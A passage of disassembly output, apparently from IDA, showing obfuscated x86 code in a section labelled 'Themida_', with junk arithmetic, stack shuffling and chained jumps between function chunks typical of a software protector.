add esp, 2
jmp loc_56A59B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5619CF: ; CODE XREF: sub_56755A+83C4j
pop eax
jmp loc_565946
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5619D5: ; CODE XREF: Themida_:0056E24Dj
push edi
mov edi, 59584C01h
add ebx, edi
jmp loc_5705F1
; ---------------------------------------------------------------------------
loc_5619E2: ; CODE XREF: Themida_:00562260j
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_5619E7: ; CODE XREF: Themida_:0055D2A8j
mov ebx, 4FED3C35h
mov edi, ebx
pop ebx
add esi, 590C3E61h
add esi, edi
sub esi, 590C3E61h
mov edi, [esp]
add esp, 4
jmp loc_569878
; ---------------------------------------------------------------------------
loc_561A08: ; CODE XREF: Themida_:0055D2D8j
and esi, 23A16619h
jmp loc_55FABE
; ---------------------------------------------------------------------------
loc_561A13: ; CODE XREF: Themida_:0056030Ej
push ax
pushf
jmp loc_55E2E2
; ---------------------------------------------------------------------------
loc_561A1B: ; CODE XREF: Themida_:00570585j
sub eax, edx
jmp loc_55E5B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561A22: ; CODE XREF: sub_56755A-7C65j
pop ecx
jmp loc_569B53
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561A28: ; CODE XREF: Themida_:0055D77Dj
xchg ebp, [esp]
jmp loc_565668
; ---------------------------------------------------------------------------
loc_561A30: ; CODE XREF: Themida_:0056DFDAj
mov eax, 3C2D1F93h
xor edx, eax
pop eax
pop ebp
push ecx
mov ecx, 345D17CFh
jmp loc_56500D
; ---------------------------------------------------------------------------
loc_561A44: ; CODE XREF: Themida_:0055F120j
mov ebx, ecx
pop ecx
add [esp+4], ebx
pop ebx
pop eax
add eax, 4
push 913h
jmp loc_55E517
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560C97
loc_561A5C: ; CODE XREF: sub_560C97+8j
add bh, 0FFh
not bh
push ecx
mov ch, 3Ah
sub ch, 0CEh
jmp sub_56C64C
; END OF FUNCTION CHUNK FOR sub_560C97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561A6C: ; CODE XREF: sub_56755A-3D2Aj
xor ebp, 463F195Ch
jmp loc_55CC6B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561A77: ; CODE XREF: Themida_:00565D78j
sub ecx, 1C30A7Dh
sub ecx, eax
add ecx, 1C30A7Dh
pop eax
jmp loc_55CEAF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_561A8B: ; CODE XREF: sub_563973+9507j
or ebx, edx
pop edx
jmp loc_560357
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561A93: ; CODE XREF: sub_56755A-B21j
mov [esp-8+arg_4], edi
mov edi, 61BE5D8Fh
shl edi, 7
add edi, 20D13884h
sub ebp, 7C4F0C5Ch
add ebp, edi
add ebp, 7C4F0C5Ch
push [esp-8+arg_4]
pop edi
push eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
add eax, ebx
pop ebx
xchg eax, [esp-4+arg_0]
pop esp
add ebp, 4
jmp loc_55F30C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C4A
loc_561AD6: ; CODE XREF: sub_565C4A+8j
pop ebx
jmp loc_55F36E
; END OF FUNCTION CHUNK FOR sub_565C4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_561ADC: ; CODE XREF: sub_56CEE9-40B5j
add edx, 2DEB8511h
shl edx, 1
neg edx
sub edx, 1
jmp loc_55C4F2
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
loc_561AEE: ; CODE XREF: Themida_:00564173j
push dword ptr [esp]
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
add esp, 4
jmp loc_56C20C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_561B0E: ; CODE XREF: sub_56CEE9+2DC0j
sub ebx, edi
pop edi
pop edi
mov edx, [esp+4+var_4]
add esp, 4
push edi
mov edi, ebx
mov eax, edi
pop edi
mov ebx, [esp+0]
add esp, 4
pop ebp
push edx
mov edx, esp
add edx, 4
push eax
mov eax, 4
sub edx, eax
mov eax, [esp+0]
jmp loc_55D764
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
loc_561B44: ; CODE XREF: Themida_:00560FA2j
xor [esp], edx
jmp loc_56DD42
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561B4C: ; CODE XREF: sub_56755A-2C48j
sub edi, 4
push edi
push [esp-4+arg_4]
mov edi, [esp+0]
add esp, 4
pop [esp-4+arg_0]
pop esp
mov [esp-0Ch+arg_8], eax
mov eax, 34C86D8Dh
jmp loc_56A43C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561B6B: ; CODE XREF: Themida_:0055C95Dj
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_561B70: ; CODE XREF: Themida_:0055EA5Ej
mov [esp], ecx
jmp loc_56A47D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561B78: ; CODE XREF: sub_56755A-8A2j
not ecx
not ecx
add ecx, 6D245B60h
add edi, ecx
pop ecx
add ebp, edi
jmp loc_56E830
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561B8C: ; CODE XREF: Themida_:005634D2j
push esp
pop esi
jmp loc_569ECC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566FBB
loc_561B93: ; CODE XREF: sub_566FBB-7F2Ej
pop esi
push ebx
mov ebx, 4257789Eh
add ecx, ebx
pop ebx
push ebp
mov ebp, 3310EE05h
xor ecx, ebp
pop ebp
xor eax, ecx
push [esp-4+arg_0]
pop ecx
add esp, 4
jmp loc_56CBD2
; END OF FUNCTION CHUNK FOR sub_566FBB
; ---------------------------------------------------------------------------
loc_561BB7: ; CODE XREF: Themida_:00570400j
sub al, 0F1h
jmp loc_5642D8
; ---------------------------------------------------------------------------
loc_561BBE: ; CODE XREF: Themida_:0055BF65j
mov edi, 4DE44495h
xor ebp, edi
pop edi
push 2531h
jmp loc_56A5BB
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_56C819
; ---------------------------------------------------------------------------
loc_561BD9: ; CODE XREF: Themida_:0056C310j
add esi, 4
xchg esi, [esp]
jmp loc_5639EC
; =============== S U B R O U T I N E =======================================
sub_561BE4 proc near ; CODE XREF: sub_56755A+7371j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560A8A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056E105 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0057045C SIZE 00000030 BYTES
push ebx
mov ebx, 4
add edx, 79F9737Dh
add edx, ebx
sub edx, 79F9737Dh
pop ebx
xor edx, [esp+0]
xor [esp+0], edx
xor edx, [esp+0]
pop esp
sub esp, 4
mov [esp+0], ebx
push 5990h
mov [esp+4+var_4], eax
push 0E851A8h
jmp loc_560A8A
sub_561BE4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_561C1E: ; CODE XREF: sub_56CB1B+A4Bj
add esp, 4
std
push ebx
mov ebx, esp
push esi
mov esi, 63282BB5h
inc esi
add esi, 9CD7D44Eh
jmp loc_55C936
; END OF FUNCTION CHUNK FOR sub_56CB1B
; =============== S U B R O U T I N E =======================================
sub_561C3A proc near ; CODE XREF: sub_56755A+2D3j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055DB04 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055F52A SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0055F5FA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00563704 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00564CB2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056691B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566D50 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569696 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056997F SIZE 00000010 BYTES
push ebx
mov ebx, 0F6C472Dh
and ebx, 71F52C21h
add ebx, 30EE2B5Bh
add ebx, 2F5C7790h
add ebx, 1620D77Ah
add esi, 400016A4h
add esi, ebx
sub esi, 400016A4h
jmp loc_563704
sub_561C3A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561C6B: ; CODE XREF: sub_56755A+6EA9j
pop esi
push esi
mov esi, 0E59B3566h
add edx, esi
pop esi
xor esi, edx
mov edx, [esp-14h+arg_10]
jmp loc_56952D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AC81
loc_561C7F: ; CODE XREF: sub_56AC81+17j
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp+0Ch+var_C]
pop esp
pop [esp+8+var_8]
pop esp
push 1CBAh
mov [esp+4+var_4], ebx
push esp
push [esp+8+var_8]
pop ebx
add esp, 4
jmp loc_56E9E5
; END OF FUNCTION CHUNK FOR sub_56AC81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561CA7: ; CODE XREF: sub_56755A+4E8Aj
push 444Ch
mov [esp-10h+arg_C], edx
mov edx, 4A1C03C2h
sub edi, 21F6662Ch
sub edi, edx
jmp loc_56A7D2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561CC1: ; CODE XREF: Themida_:0056BEA6j
shl ch, 6
xor ch, 52h
sub al, ch
pop ecx
sub esp, 4
mov [esp], edx
jmp loc_566982
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_561CD5: ; CODE XREF: sub_56B774-AD88j
add esi, 4
xchg esi, [esp+10h+var_10]
pop esp
jmp loc_566CE6
; END OF FUNCTION CHUNK FOR sub_56B774
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561CE4: ; CODE XREF: sub_56755A-BF2Aj
sub esi, ebp
pop ebp
push [esp+4+var_4]
jmp loc_562B5B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561CEF: ; CODE XREF: Themida_:0055D4B9j
shl ebp, 3
shr ebp, 4
push eax
push ebx
mov ebx, esp
add ebx, 4
jmp loc_566E29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561D04: ; CODE XREF: sub_56755A-88EEj
xor al, bh
mov ebx, [esp+0]
sub esp, 4
mov [esp+4+var_4], eax
sub esp, 4
mov [esp+8+var_8], esp
jmp loc_55B8B1
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_561D1D proc near ; CODE XREF: sub_56755A-68E9j
var_4 = word ptr -4
sub esp, 2
mov [esp+4+var_4], cx
mov ch, 57h
sub ch, 0FFh
sub ch, 0D6h
jmp sub_56C86A
sub_561D1D endp
; ---------------------------------------------------------------------------
loc_561D34: ; CODE XREF: Themida_:00568EEFj
pop edx
push 25ABh
mov [esp], ebx
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_56DCCA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DD27
loc_561D4C: ; CODE XREF: sub_55DD27+1A97j
push [esp+8+var_4]
jmp loc_56BF80
; END OF FUNCTION CHUNK FOR sub_55DD27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561D55: ; CODE XREF: sub_56755A-A53j
xchg eax, [esp+8+var_8]
mov esp, [esp+8+var_8]
add ebx, 19A145E3h
add ebx, eax
push 4A04h
jmp loc_56F504
; ---------------------------------------------------------------------------
loc_561D6D: ; CODE XREF: sub_56755A-8E70j
xor edx, [esp+2Eh+var_30+2]
pop esp
shl byte ptr [esp+2Ah+var_2C+2], cl
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_561D7A: ; CODE XREF: sub_56F653-9D56j
and bh, dl
jmp loc_564457
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
loc_561D81: ; CODE XREF: Themida_:00562167j
add esi, 4
xchg esi, [esp]
pop esp
pop dword ptr [esp]
pop esp
test cx, ax
pushf
jmp loc_55C591
; =============== S U B R O U T I N E =======================================
sub_561D98 proc near ; CODE XREF: sub_5622B3+3775j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056433C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00564B23 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564F97 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C78B SIZE 00000012 BYTES
sub esp, 4
mov [esp+4+var_4], eax
push 3D3C2919h
pop eax
jmp loc_56433C
sub_561D98 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_561DA9: ; CODE XREF: Themida_:005645DCj
push esp
pop ebp
jmp loc_565410
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_561DB0: ; CODE XREF: sub_566504-AC29j
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+0]
pop esp
and eax, edx
pop edx
or eax, eax
jz loc_567272
push 5F6h
mov [esp-4+arg_0], eax
mov eax, 1Ch
add eax, edi
jmp loc_5668C1
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
db 89h
dd 0EC83240Ch, 9D81E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561DEA: ; CODE XREF: Themida_:0055F3F9j
xchg ecx, [esp]
pop esp
pop dword ptr [esp]
pop esp
push 47E2h
mov [esp], esi
jmp loc_563057
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561DFF: ; CODE XREF: sub_56755A-7723j
sub eax, edi
mov edi, [esp+8+var_8]
jmp loc_5635C5
; ---------------------------------------------------------------------------
loc_561E09: ; CODE XREF: sub_56755A-1870j
pop ebx
add bl, 7Ch
jmp loc_56B225
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561E12: ; CODE XREF: Themida_:0056B43Fj
xor ebp, 17CB1A96h
dec ebp
xchg edx, ebp
jmp loc_55F4DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561E20: ; CODE XREF: sub_56755A+944j
push eax
jmp loc_55B5A5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F83B
loc_561E26: ; CODE XREF: sub_56F83B-1068Cj
pop edi
xor ebx, [esp+4+var_4]
jmp loc_567884
; END OF FUNCTION CHUNK FOR sub_56F83B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560483
loc_561E2F: ; CODE XREF: sub_560483-3F1Cj
xchg eax, [edi+24h]
add eax, 1
xor [edi+24h], eax
jmp loc_567BBE
; END OF FUNCTION CHUNK FOR sub_560483
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561E3D: ; CODE XREF: sub_56755A+798j
pop ecx
add esp, 4
and bl, dh
jmp loc_560A1B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F861
loc_561E4B: ; CODE XREF: sub_55F861+6DD2j
mov ecx, ebx
jmp loc_563440
; END OF FUNCTION CHUNK FOR sub_55F861
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_561E52: ; CODE XREF: sub_55FE13+8756j
movzx eax, al
jmp loc_56AA4B
; END OF FUNCTION CHUNK FOR sub_55FE13
; ---------------------------------------------------------------------------
loc_561E5A: ; CODE XREF: Themida_:005613AAj
push ebx
mov bh, ch
mov dl, bh
pop ebx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5664C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_561E6C: ; CODE XREF: sub_55FDEF+F33j
mov ecx, [esp+10h+var_10]
jmp loc_567580
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_561E74: ; CODE XREF: Themida_:0056CBCDj
push edi
jmp loc_5697CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_561E7A: ; CODE XREF: sub_560B67-DD2j
mov ebp, 1
and eax, ebp
push dword ptr [esp+0]
mov ebp, [esp+4+var_4]
push esi
push esp
push [esp+0Ch+var_C]
pop esi
add esp, 4
add esi, 4
add esi, 4
xchg esi, [esp+8+var_8]
pop esp
jmp sub_562272
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561EA2: ; CODE XREF: sub_56755A+43D2j
push 16E2h
mov [esp+4+var_4], edx
mov edx, 2
sub ebx, 4B9E1EEAh
add ebx, edx
jmp loc_56A952
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561EBC: ; CODE XREF: Themida_:0055CD59j
sub esi, edx
pop edx
push edx
mov edx, 12194C64h
sub edx, 58223990h
jmp loc_56AA92
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_561ED0: ; CODE XREF: sub_56B62C-92j
push dword ptr [esp+0]
jmp loc_56D41B
; END OF FUNCTION CHUNK FOR sub_56B62C
; =============== S U B R O U T I N E =======================================
sub_561ED8 proc near ; CODE XREF: sub_5615A9+4E46j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0055BD92 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055BDD1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C29F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055D977 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055FBE3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00563D8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005650EB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565582 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565749 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056701F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056714B SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00569D45 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056CA29 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056EA96 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056EC82 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056F45A SIZE 0000000E BYTES
push bx
mov bh, cl
not bh
mov cl, bh
pop bx
not cl
add cl, 2Ch
push edx
mov dh, cl
mov bh, dh
pop edx
mov ecx, [esp-6+arg_0+2]
jmp loc_563D8A
sub_561ED8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561EF5: ; CODE XREF: sub_56755A+110Cj
add bl, 0B7h
add al, bl
pop ebx
jmp loc_562A41
; ---------------------------------------------------------------------------
loc_561F00: ; CODE XREF: sub_56755A+D11j
push [esp+arg_0]
pop edi
pop dword ptr [esp+0]
jmp loc_56B5C3
; ---------------------------------------------------------------------------
loc_561F0D: ; CODE XREF: sub_56755A-43F9j
mov ecx, [esp-4+arg_0]
push ebx
push esp
jmp loc_567364
; ---------------------------------------------------------------------------
loc_561F17: ; CODE XREF: sub_56755A+3AEj
push edi
mov edi, 25E93040h
inc edi
sub edi, 21890122h
xor ecx, edi
jmp loc_56DCAC
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebx
jmp loc_56E5B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561F39: ; CODE XREF: sub_56755A-1C0Dj
add eax, 4
sub eax, 4
xchg eax, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ecx
jmp loc_56B58F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561F4F: ; CODE XREF: Themida_:0055DE1Fj
add esp, 4
sub eax, 28103CF1h
sub eax, ebp
add eax, 28103CF1h
push dword ptr [esp]
jmp loc_560BF7
; ---------------------------------------------------------------------------
loc_561F69: ; CODE XREF: Themida_:0056CF74j
push esi
jmp loc_5603D9
; ---------------------------------------------------------------------------
loc_561F6F: ; CODE XREF: Themida_:0056B85Dj
add dword ptr [esp], 73071EE3h
jmp loc_56B2B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_561F7B: ; CODE XREF: sub_56CEC8+1F67j
pop ebx
xor al, cl
jmp loc_55EFAE
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
push ebx
mov ebx, 41C13B6Dh
and ebx, 65BA682Ah
xor ebx, 321F6F6Fh
xor ebx, 3F3A6034h
mov eax, ebx
pop ebx
not eax
shl eax, 6
sub esp, 4
mov [esp], eax
xor [esp], ebp
jmp loc_56DD7E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_561FB4: ; CODE XREF: sub_560B67+1j
mov ebx, 3CD149DEh
jmp loc_56BFD1
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
loc_561FBE: ; CODE XREF: Themida_:00564D57j
push ecx
mov ecx, 4A95E89h
dec ecx
or ecx, 73D65BA8h
shr ecx, 4
jmp loc_56F0C1
; ---------------------------------------------------------------------------
loc_561FD3: ; CODE XREF: Themida_:00565AD3j
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_561FD8: ; CODE XREF: Themida_:0056DE45j
neg ebp
jmp loc_565BAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561FDF: ; CODE XREF: sub_56755A-2BD0j
push edx
push ecx
jmp loc_562768
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_561FE6: ; CODE XREF: sub_56CB1B-82D5j
xor ebx, ecx
xor ecx, ebx
jmp loc_56BB8C
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_561FEF: ; CODE XREF: sub_56755A+46B9j
add esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
mov ebx, [esp+8+var_8]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0Ch+var_C]
jmp loc_55DEE4
; ---------------------------------------------------------------------------
loc_562013: ; CODE XREF: sub_56755A+202j
mov [esp+0Ch+var_C], eax
push esi
mov esi, 48DC48C7h
shl esi, 4
push ebp
mov ebp, 72FE3AECh
xor ebp, 3F324841h
push 3CB9h
mov [esp+18h+var_18], eax
mov eax, 1A864B0Eh
add eax, 333E03DEh
sub eax, 5A61250h
add eax, 2E8102B5h
sub eax, 0FFFFFFFFh
push edi
mov edi, 493D282Ah
and edi, 43E00144h
shr edi, 6
jmp loc_56C538
; ---------------------------------------------------------------------------
loc_56205E: ; CODE XREF: sub_56755A-6B52j
add ebp, 35465513h
jmp loc_55C1A1
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_562069: ; CODE XREF: Themida_:0056D702j
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], ebp
jmp loc_57011F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562082: ; CODE XREF: sub_56755A-BAD5j
mov eax, [esp+10h+var_10]
push ebx
mov ebx, esp
jmp loc_56B31E
; ---------------------------------------------------------------------------
loc_56208D: ; CODE XREF: sub_56755A+C0Aj
add edx, 4
add edx, 4
jmp loc_5602FA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56209E: ; CODE XREF: Themida_:005626CCj
sub dword ptr [esp], 66F9664Ch
pop edx
add edx, 66F9664Ch
push edx
push ebp
mov ebp, 383F2959h
add [esp+4], ebp
pop ebp
pop eax
push edi
mov edi, 383F2959h
sub eax, edi
pop edi
mov edx, [esp]
add esp, 4
mov ebp, [esp]
add esp, 4
add ebx, eax
pop eax
xchg ebx, [esp]
pop esp
mov ax, [esp]
jmp loc_57004E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D600
loc_5620E1: ; CODE XREF: sub_56D600-6A5j
push eax
mov al, 0D2h
dec al
jmp loc_55CE77
; END OF FUNCTION CHUNK FOR sub_56D600
; ---------------------------------------------------------------------------
loc_5620EB: ; CODE XREF: Themida_:00563178j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_56A4AF
; ---------------------------------------------------------------------------
loc_562102: ; CODE XREF: Themida_:0055D9F7j
push ecx
mov ecx, esp
push ebp
mov ebp, 4
sub esp, 4
mov [esp], edx
mov edx, 7DC838A2h
shl edx, 1
jmp loc_5668AD
; ---------------------------------------------------------------------------
loc_56211D: ; CODE XREF: Themida_:00569404j
sub esi, 1DBD04CCh
push ebp
push esi
jmp loc_55DB0C
; ---------------------------------------------------------------------------
loc_56212A: ; CODE XREF: Themida_:00564A23j
add edx, 4
jmp loc_564F77
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562132: ; CODE XREF: sub_56755A+61j
add ecx, 4
push eax
jmp loc_566B7B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56213E: ; CODE XREF: Themida_:005601DDj
push edx
push ebx
jmp loc_56A24A
; ---------------------------------------------------------------------------
loc_562145: ; CODE XREF: Themida_:005624B6j
shl ebp, 8
add ebp, 34DF0BB0h
xor ebp, 0A754F5CBh
jmp loc_55C832
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_562159: ; CODE XREF: sub_56B62C-A28Aj
xor dh, 2Dh
jmp loc_56A82E
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
loc_562161: ; CODE XREF: Themida_:0055B907j
add esi, 4
jmp loc_561D81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56216C: ; CODE XREF: sub_56755A+4BB0j
mov ebx, [esp+18h+var_18]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+1Ch+var_1C]
pop esp
add eax, ebx
add eax, 723D6CBBh
jmp loc_5670D0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56218B: ; CODE XREF: Themida_:005613D0j
mov esi, 2C60239h
jmp loc_5673D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_562195: ; CODE XREF: sub_56755A-2BB6j
add ebx, 12514D4Eh
add ebx, ecx
sub ebx, 12514D4Eh
add ebx, 60E56130h
mov ecx, [esp+18h+var_18]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+1Ch+var_1C]
pop esp
push ebx
push [esp+1Ch+var_18]
jmp loc_56C8CE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5621C9: ; CODE XREF: Themida_:0055D26Cj
add edi, esi
pop esi
push 651Eh
mov [esp], ebx
mov ebx, 2
jmp loc_569845
; ---------------------------------------------------------------------------
loc_5621DE: ; CODE XREF: Themida_:0055F91Aj
xchg ebx, ebp
not ebx
jmp loc_564BFF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_5621E7: ; CODE XREF: sub_560B67-2E7Dj
pop esp
mov [esp+4+var_4], ecx
pop eax
mov ecx, [esp+0]
push ecx
jmp loc_56E183
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5621F5: ; CODE XREF: sub_56755A+7702j
mov [esp+20h+var_20], ecx
mov ecx, 7411734h
add eax, 6ED1001h
add eax, 38152A00h
sub eax, 56A80B1Ah
add eax, ecx
add eax, 56A80B1Ah
sub eax, 38152A00h
sub eax, 6ED1001h
pop ecx
movzx ax, byte ptr [eax]
jmp loc_56DD91
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EB5
loc_562227: ; CODE XREF: sub_560EB5+DCj
push small 78D2h
mov [esp+4+var_4], ax
jmp loc_56CC6C
; END OF FUNCTION CHUNK FOR sub_560EB5
; ---------------------------------------------------------------------------
loc_562234: ; CODE XREF: Themida_:0055E23Dj
add esp, 4
push ebp
mov ebp, 44FEC860h
xor edi, ebp
mov ebp, [esp]
add esp, 4
push edi
push 597C2E7Eh
pop edi
xor edi, 68F91C70h
